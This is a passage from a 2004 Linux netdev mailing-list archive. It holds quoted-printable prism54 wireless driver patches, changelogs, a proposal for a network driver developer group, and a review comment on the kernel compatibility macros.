Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -387,7 +387,9 @@ * the IRQ line until we know for sure the reset went through */ isl38xx_enable_common_interrupts(priv->device_base); =20 - prism54_mib_init_work(priv); + down_write(&priv->mib_sem); + mgt_commit(priv); + up_write(&priv->mib_sem); =20 islpci_set_state(priv, PRV_STATE_READY); =20 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v retrieving revision 1.44 retrieving revision 1.45 diff -u -r1.44 -r1.45 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c 9 Apr 2004 11= :42:25 -0000 1.44 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_mgt.c 10 Apr 2004 0= 3:16:55 -0000 1.45 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v 1.44 2004/04/09 1= 1:42:25 ajfa Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_mgt.c,v 1.45 2004/04/10 0= 3:16:55 msw Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright 2004 Jens Maurer @@ -312,8 +312,9 @@ * size of a receive buffer. Thus, if this check * triggers, we likely have kernel heap corruption. */ if (frag_len > MGMT_FRAME_SIZE) { - printk(KERN_WARNING "%s: Bogus packet size of %d (%#x).\ -n", ndev->name, frag_len, frag_len); + printk(KERN_WARNING + "%s: Bogus packet size of %d (%#x).\n", + ndev->name, frag_len, frag_len); frag_len =3D MGMT_FRAME_SIZE; } =20 @@ -487,8 +488,9 @@ } if (timeleft =3D=3D 0) { printk(KERN_DEBUG - "%s: timeout waiting for mgmt response %lu, trigging device\n", - ndev->name, timeout_left); + "%s: timeout waiting for mgmt response %lu, " + "triggering device\n", + ndev->name, timeout_left); islpci_trigger(priv); } timeout_left +=3D timeleft - wait_cycle_jiffies; Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/oid_mgt.c,v retrieving revision 1.14 retrieving revision 1.15 diff -u -r1.14 -r1.15 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 9 Apr 2004 11:42= :25 -0000 1.14 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/oid_mgt.c 17 Apr 2004 08:4= 6:04 -0000 1.15 @@ -446,7 +446,7 @@ if (cache) down_write(&priv->mib_sem); =20 - if (islpci_get_state(priv) >=3D PRV_STATE_INIT) { + if (islpci_get_state(priv) >=3D PRV_STATE_READY) { ret =3D islpci_mgt_transaction(priv->ndev, PIMFOR_OP_SET, oid, _data, dlen, &response); if (!ret) { @@ -500,7 +500,7 @@ if (cache) down_read(&priv->mib_sem); =20 - if (islpci_get_state(priv) >=3D PRV_STATE_INIT) { + if (islpci_get_state(priv) >=3D PRV_STATE_READY) { ret =3D islpci_mgt_transaction(priv->ndev, PIMFOR_OP_GET, oid, data, dlen, &response); if (ret || !response || @@ -539,7 +539,7 @@ if (reslen > isl_oid[n].size) printk(KERN_DEBUG "mgt_get_request(0x%x): received data length was bigger " - "than expected (%d > %d). Memory is probably corrupted... ", + "than expected (%d > %d). Memory is probably corrupted...", oid, reslen, isl_oid[n].size); =20 return ret; @@ -622,12 +622,32 @@ OID_INL_OUTPUTPOWER, }; =20 +/* update the MAC addr. */ +static int +mgt_update_addr(islpci_private *priv) +{ + struct islpci_mgmtframe *res; + int ret; + + ret =3D islpci_mgt_transaction(priv->ndev, PIMFOR_OP_GET, + isl_oid[GEN_OID_MACADDRESS].oid, NULL, + isl_oid[GEN_OID_MACADDRESS].size, &res); + + if ((ret =3D=3D 0) && res && (res->header->operation !=3D PIMFOR_OP_ERROR= )) + memcpy(priv->ndev->dev_addr, res->data, 6); + else + ret =3D -EIO; + if (res) + islpci_mgt_release(res); + + return ret; +} + void mgt_commit(islpci_private *priv) { int rvalue; u32 u; - union oid_res_t r; =20 if (islpci_get_state(priv) < PRV_STATE_INIT) return; @@ -643,6 +663,7 @@ =20 u =3D OID_INL_MODE; rvalue |=3D mgt_commit_list(priv, &u, 1); + rvalue |=3D mgt_update_addr(priv); =20 if (rvalue) { /* some request have failed. The device might be in an @@ -650,14 +671,6 @@ printk(KERN_DEBUG "%s: mgt_commit has failed. Restart the " "device \n", priv->ndev->name); } - - /* update the MAC addr. As it's not cached, no lock will be acquired by - * the mgt_get_request - */ - mgt_get_request(priv, GEN_OID_MACADDRESS, 0, NULL, &r); - memcpy(priv->ndev->dev_addr, r.ptr, 6); - kfree(r.ptr); - } =20 /* This will tell you if you are allowed to answer a mlme(ex) request .*/ @@ -710,8 +723,11 @@ case OID_TYPE_BSS:{ struct obj_bss *bss =3D r->ptr; return snprintf(str, PRIV_STR_SIZE, - "age=3D%u\nchannel=3D%u\n\ - capinfo=3D0x%X\nrates=3D0x%X\nbasic_rates=3D0x%X\n", bss->age,= bss->channel, bss->capinfo, bss->rates, bss->basic_rates); + "age=3D%u\nchannel=3D%u\n" + "capinfo=3D0x%X\nrates=3D0x%X\n" + "basic_rates=3D0x%X\n", bss->age, + bss->channel, bss->capinfo, + bss->rates, bss->basic_rates); } break; case OID_TYPE_BSSLIST:{ @@ -720,7 +736,9 @@ k =3D snprintf(str, PRIV_STR_SIZE, "nr=3D%u\n", list->nr); for (i =3D 0; i < list->nr; i++) k +=3D snprintf(str + k, PRIV_STR_SIZE - k, - "bss[%u] : \nage=3D%u\nchannel=3D%u\ncapinfo=3D0x%X\nrates=3D0x= %X\nbasic_rates=3D0x%X\n", + "bss[%u] : \nage=3D%u\nchannel=3D%u\n" + "capinfo=3D0x%X\nrates=3D0x%X\n" + "basic_rates=3D0x%X\n", i, list->bsslist[i].age, list->bsslist[i].channel, list->bsslist[i].capinfo, @@ -742,16 +760,17 @@ break; case OID_TYPE_MLME:{ struct obj_mlme *mlme =3D r->ptr; - return snprintf(str, PRIV_STR_SIZE, "id=3D0x%X\nstate=3D0x%X\n\ - code=3D0x%X\n", mlme->id, mlme->state, - mlme->code); + return snprintf(str, PRIV_STR_SIZE, + "id=3D0x%X\nstate=3D0x%X\ncode=3D0x%X\n", + mlme->id, mlme->state, mlme->code); } break; case OID_TYPE_MLMEEX:{ struct obj_mlmeex *mlme =3D r->ptr; - return snprintf(str, PRIV_STR_SIZE, "id=3D0x%X\nstate=3D0x%X\n\ - code=3D0x%X\nsize=3D0x%X\n", mlme->id, mlme->state, - mlme->code, mlme->size); + return snprintf(str, PRIV_STR_SIZE, + "id=3D0x%X\nstate=3D0x%X\n" + "code=3D0x%X\nsize=3D0x%X\n", mlme->id, + mlme->state, mlme->code, mlme->size); } break; case OID_TYPE_SSID:{ Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/prismcompat24.h,v retrieving revision 1.1 retrieving revision 1.2 diff -u -r1.1 -r1.2 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h 20 Mar 200= 4 18:23:28 -0000 1.1 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h 13 Apr 200= 4 08:20:13 -0000 1.2 @@ -27,20 +27,25 @@ #include #include =20 -#define work_struct tq_struct -#define INIT_WORK INIT_TQUEUE -#define schedule_work schedule_task - -#define irqreturn_t void -#define IRQ_HANDLED -#define IRQ_NONE +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,4,25) +#define module_param(x, y, z) MODULE_PARM(x, "i") +#else +#include +#endif =20 #if LINUX_VERSION_CODE < KERNEL_VERSION(2,4,23) #define free_netdev(x) kfree(x) #define pci_name(x) x->slot_name +#define irqreturn_t void +#define IRQ_HANDLED +#define IRQ_NONE +#else +#include #endif =20 -#define module_param(x, y, z) MODULE_PARM(x, "i") +#define work_struct tq_struct +#define INIT_WORK INIT_TQUEUE +#define schedule_work schedule_task =20 #define netdev_priv(x) x->priv =20 --yQifGgTvVVJcdOYJ-- --cGn0fZIJon5R7R2H Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbNaat1JN+IKUl4RAmYgAJ9lElz3VPsY3qRvJlVTIo9AyreENACfXoTc Exnhw03PYFJcxGzvK20JIts= =ClAE -----END PGP SIGNATURE----- --cGn0fZIJon5R7R2H-- From praveen@india.hp.com Mon May 24 01:39:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:39:25 -0700 (PDT) Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8dMKO016076 for ; Mon, 24 May 2004 01:39:23 -0700 Received: from shilpa.india.hp.com (shilpa.india.hp.com [15.42.231.12]) by atlrel7.hp.com (Postfix) with ESMTP id 17C02C15A for ; Mon, 24 May 2004 04:39:21 -0400 (EDT) Received: (from praveen@localhost) by shilpa.india.hp.com (8.9.3 (PHNE_25184)/8.9.3 SMKit7.02) id OAA23124 for netdev@oss.sgi.com; Mon, 24 May 2004 14:11:24 +0530 (IST) From: Praveen Kumar Amritaluru Message-Id: <200405240841.OAA23124@shilpa.india.hp.com> Subject: list commands To: netdev@oss.sgi.com Date: Mon, 24 May 2004 14:11:24 +0530 (IST) X-Mailer: ELM [] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5272 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: praveen@india.hp.com Precedence: bulk X-list: netdev From mcgrof@studorgs.rutgers.edu Mon May 24 01:49:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:49:50 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8nkKO016499 for ; Mon, 24 May 2004 01:49:46 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id B46E0F9D4B; Mon, 24 May 2004 04:49:45 -0400 (EDT) Date: Mon, 24 May 2004 04:49:45 -0400 From: "Luis R. Rodriguez" To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Cc: prism54-devel@prism54.org Subject: RFC: Network Device Driver Group proposal Message-ID: <20040524084945.GP3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UIrAl4r1g2eOkvhC" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5273 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --UIrAl4r1g2eOkvhC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable This is a RFC for the start of a Network Device Driver Group. There is currently no central group that I am aware of that=20 hardware/chipset manufacturer companies can contact to assist in=20 writing/mantaining/giving specs to/giving source base for a=20 new Linux Network device driver (wireless or not).=20 There is also no central group I know of besides the netdev mailing list for interaction between network driver developers. Most drivers seem to have their own mailing list, if any, and a cheesy website, if any. =46rom my experience so far it seems like manufacturers can sometimes be very willing to help, but I think that sometimes they just fail to see where and how they can help. So, it seems we have to first help ourselves out, building an entity onto which companies/manufacuters can refer to if they'd like to donate a source base for a driver / a firmware for a driver or even provide specifications for a driver. Sort of like an organizational structure like the DRI project. Just wanted to throw ideas in the air and see if other netdevs agree and think this would be a good idea. I've been speaking to Pavel Roskin,=20 a co-mantainer of the orinoco driver, and he agrees there many ways in which just both of our projects can benefit from a close relationship (in our case since our chipset's manufacturer is the same; prism 2/2.5.3 and prism gt/duette/indigo). OSLD wants to be the "center of gravity for all Linux related stuff". Well maybe OSDL can help us :) --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --UIrAl4r1g2eOkvhC Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbcpat1JN+IKUl4RAjjvAJ9Y7uY1+yVeQ1xVM/Mo/PPam6Us6ACeOUaL obTD20dbsequFGew7w5Gb4M= =ysCn -----END PGP SIGNATURE----- --UIrAl4r1g2eOkvhC-- From arjanv@redhat.com Mon May 24 01:53:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:54:02 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8rwKO016896 for ; Mon, 24 May 2004 01:53:58 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4O8rsGG017991; Mon, 24 May 2004 04:53:54 -0400 Received: from [172.31.3.35] (arjanv.cipe.redhat.com [10.0.2.48]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4O8rq005280; Mon, 24 May 2004 04:53:53 -0400 Subject: Re: [PATCH 5/14 linux-2.6.7-rc1] prism54: new prism54 kernel compatibility From: Arjan van de Ven Reply-To: arjanv@redhat.com To: "Luis R. Rodriguez" Cc: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org In-Reply-To: <20040524083220.GF3330@ruslug.rutgers.edu> References: <20040524083220.GF3330@ruslug.rutgers.edu> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-0laYfChQ5D1aekppT8aD" Organization: Red Hat UK Message-Id: <1085388830.2780.9.camel@laptop.fenrus.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 (1.4.6-2) Date: Mon, 24 May 2004 10:53:50 +0200 X-archive-position: 5274 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: arjanv@redhat.com Precedence: bulk X-list: netdev --=-0laYfChQ5D1aekppT8aD Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Mon, 2004-05-24 at 10:32, Luis R. Rodriguez wrote: > 2004-03-20 Margit Schubert-While >=20 > * isl_38xx.[ch], isl_ioctl.c, islpci_dev.[ch], islpci_eth.c > islpci_hotplug.c, islpci_mgt.[ch], oid_mgt.c: Adopt new > prism54 kernel compatibility. >=20 > * prismcompat.h, prismcompat24.h: New compatibility work ewwww this makes the driver quite a bit less readable! for example -#if LINUX_VERSION_CODE >=3D KERNEL_VERSION(2,6,0) - /* This is 2.6 specific, nicer, shorter, but not in 2.4 yet */ - DEFINE_WAIT(wait); - prepare_to_wait(&priv->reset_done, &wait, TASK_UNINTERRUPTIBLE); -#else - DECLARE_WAITQUEUE(wait, current); - set_current_state(TASK_UNINTERRUPTIBLE); - add_wait_queue(&priv->reset_done, &wait); -#endif + PRISM_DEFWAITQ(priv->reset_done, wait) why not just make a DEFINE_WAIT() and prepare_to_wait() macro for 2.4 instead ?? so that you can just have the 2.6 version in the code and do 2.4 compat in a clean header, as opposed to fouling up the entire driver with it. --=-0laYfChQ5D1aekppT8aD Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBAsbgexULwo51rQBIRAnv7AKCQgWMFXIuEr8/uf/0l1eNFzWrBIQCdGnSm d0fnurotkHis/i4dBYZMppc= =/pHk -----END PGP SIGNATURE----- --=-0laYfChQ5D1aekppT8aD-- From mcgrof@studorgs.rutgers.edu Mon May 24 01:57:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 01:57:32 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O8vRKO017270 for ; Mon, 24 May 2004 01:57:28 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 74CC1F9D4B; Mon, 24 May 2004 04:57:27 -0400 (EDT) Date: Mon, 24 May 2004 04:57:27 -0400 To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: Re: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep Message-ID: <20040524085727.GR3330@ruslug.rutgers.edu> Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org References: <20040524083003.GA3330@ruslug.rutgers.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="NfRCDefLLAVdwZEC" Content-Disposition: inline In-Reply-To: <20040524083003.GA3330@ruslug.rutgers.edu> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5275 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --NfRCDefLLAVdwZEC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable BTW we can supply a 2.4 prism54 patch (as new driver). Would that be wanted? Luis On Mon, May 24, 2004 at 04:30:03AM -0400, Luis R. Rodriguez wrote: >=20 > Jeff, >=20 > Please apply the following patches to linux-2.6.7-rc1. These patches > bring the kernel tree up to sync with prism54.org's 1.2's release. >=20 > [PATCH 1/14 linux-2.6.7-rc1] prism54: add new private ioctls > [PATCH 2/14 linux-2.6.7-rc1] prism54: reset card on tx_timeout > [PATCH 3/14 linux-2.6.7-rc1] prism54: add iwspy support > [PATCH 4/14 linux-2.6.7-rc1] prism54: add support for avs header in monit= or mode > [PATCH 5/14 linux-2.6.7-rc1] prism54: new prism54 kernel compatibility > [PATCH 6/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 74, 75 > [PATCH 7/14 linux-2.6.7-rc1] prism54: Fix 2.4 build > [PATCH 8/14 linux-2.6.7-rc1] prism54: Fix prism54.org bugs 39, 73 > [PATCH 9/14 linux-2.6.7-rc1] prism54: Fix prism54.org bug 77; strengthene= d oid transaction > [PATCH 10/14 linux-2.6.7-rc1] prism54: Don't allow mib reads while unconf= igured > [PATCH 11/14 linux-2.6.7-rc1] prism54: Touched up kernel compatibility > [PATCH 12/14 linux-2.6.7-rc1] prism54: Start using likely/unlikely > [PATCH 13/14 linux-2.6.7-rc1] prism54: Fix 2.4 SMP build > [PATCH 14/14 linux-2.6.7-rc1] prism54: Fix channel stats; bump to 1.2 >=20 > Luis > =09 > --=20 > GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 5= 25E --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --NfRCDefLLAVdwZEC Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbj3at1JN+IKUl4RAuuGAKCwQiOtqIxYMo+rXbmoLlb+ijsJ0ACeOCAH RZ24iXAXvJ8ch413We2BgJg= =MN82 -----END PGP SIGNATURE----- --NfRCDefLLAVdwZEC-- From mcgrof@studorgs.rutgers.edu Mon May 24 02:13:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 02:15:18 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O9DiKO017921 for ; Mon, 24 May 2004 02:13:45 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id F2371F9D57; Mon, 24 May 2004 04:33:54 -0400 (EDT) Date: Mon, 24 May 2004 04:33:54 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 13/14 linux-2.6.7-rc1] prism54: Fix 2.4 SMP build Message-ID: <20040524083354.GN3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UQUSR6hGnEXrhNQw" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5277 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --UQUSR6hGnEXrhNQw Content-Type: multipart/mixed; boundary="K4/DQSt3oreaYeED" Content-Disposition: inline --K4/DQSt3oreaYeED Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-05-01 Margit Schubert-While * Fix 2.4 SMP build --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --K4/DQSt3oreaYeED Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="13-fix-smp-build.patch" Content-Transfer-Encoding: quoted-printable 2004-05-01 Margit Schubert-While * Fix 2.4 SMP build Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v retrieving revision 1.77 retrieving revision 1.78 diff -u -r1.77 -r1.78 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 26 Apr 2004 1= 0:09:58 -0000 1.77 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/islpci_dev.c 27 Apr 2004 1= 7:22:35 -0000 1.78 @@ -1,4 +1,4 @@ -/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.77 2004/04/26 1= 0:09:58 msw Exp $ +/* $Header: /var/lib/cvs/prism54-ng/ksrc/islpci_dev.c,v 1.78 2004/04/27 1= 7:22:35 ajfa Exp $ * =20 * Copyright (C) 2002 Intersil Americas Inc. * Copyright (C) 2003 Herbert Valerio Riedel @@ -69,7 +69,9 @@ if (reg & ISL38XX_CTRL_STAT_SLEEPMODE) /* device is in sleep mode, IRQ was generated by someone else */ { - printk(KERN_DEBUG "Assuming someone else called the IRQ\n"); +#if VERBOSE > SHOW_ERROR_MESSAGES + DEBUG(SHOW_TRACING, "Assuming someone else called the IRQ\n"); +#endif return IRQ_NONE; } =20 Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/prismcompat24.h,v retrieving revision 1.5 retrieving revision 1.6 diff -u -r1.5 -r1.6 --- linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h 26 Apr 200= 4 10:09:58 -0000 1.5 +++ linux-2.6.7-rc1/drivers/net/wireless/prism54/prismcompat24.h 1 May 2004= 08:40:16 -0000 1.6 @@ -28,6 +28,7 @@ #include #include #include +#include =20 #if LINUX_VERSION_CODE < KERNEL_VERSION(2,4,25) #define module_param(x, y, z) MODULE_PARM(x, "i") --K4/DQSt3oreaYeED-- --UQUSR6hGnEXrhNQw Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAsbNyat1JN+IKUl4RAselAKCPdABbH7EYUaMi2xD/DtWNTfQJaACfY6Lh j176ut7QnjCY7cXpdYAq34o= =6M9h -----END PGP SIGNATURE----- --UQUSR6hGnEXrhNQw-- From mcgrof@studorgs.rutgers.edu Mon May 24 02:13:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 02:15:11 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4O9DiKO017919 for ; Mon, 24 May 2004 02:13:45 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 6AF59F9D54; Mon, 24 May 2004 04:33:47 -0400 (EDT) Date: Mon, 24 May 2004 04:33:47 -0400 From: "Luis R. Rodriguez" To: Jeff Garzik , Andrew Morton Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Subject: [PATCH 12/14 linux-2.6.7-rc1] prism54: Start using likely/unlikely Message-ID: <20040524083347.GM3330@ruslug.rutgers.edu> Reply-To: "Luis R. Rodriguez" Mail-Followup-To: Jeff Garzik , Andrew Morton , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, prism54-devel@prism54.org Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="hdMwqcnXK86+cyrC" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group X-archive-position: 5276 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --hdMwqcnXK86+cyrC Content-Type: multipart/mixed; boundary="R4RAxL8G0iuuxuj8" Content-Disposition: inline --R4RAxL8G0iuuxuj8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 2004-04-26 Margit Schubert-While * islpci_mgt.h : Replace init_wds with a define. The compiler does not=20 optimize it out (and also generates the field in the ro section of every = module) * prismcompat(24).h : Include linux/compiler.h Now we can play=20 with the likely/unlikely macros * islpci_eth.c, islpci_dev.c : Align skb->data unconditonally after allocation. This would appear to improve RX rate. Do a little bit of likely/unlikely. --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --R4RAxL8G0iuuxuj8 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="12-add-likely.patch" Content-Transfer-Encoding: quoted-printable 2004-04-26 Margit Schubert-While * islpci_mgt.h : Replace init_wds with a define. The compiler does not optimize it out (and also generates the field in the ro section of every module) * prismcompat(24).h : Include linux/compiler.h Now we can play with the likely/unlikely macros * islpci_eth.c, islpci_dev.c : Align skb->data unconditonally after allocation. This would appear to improve RX rate. Do a little bit of likely/unlikely. Index: linux-2.6.7-rc1/drivers/net/wireless/prism54/isl_ioctl.c =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /var/lib/cvs/prism54-ng/ksrc/isl_ioctl.c,v retrieving revision 1.152 retrieving revision 1.153 diff -u -r1.152 -r1.153 --- 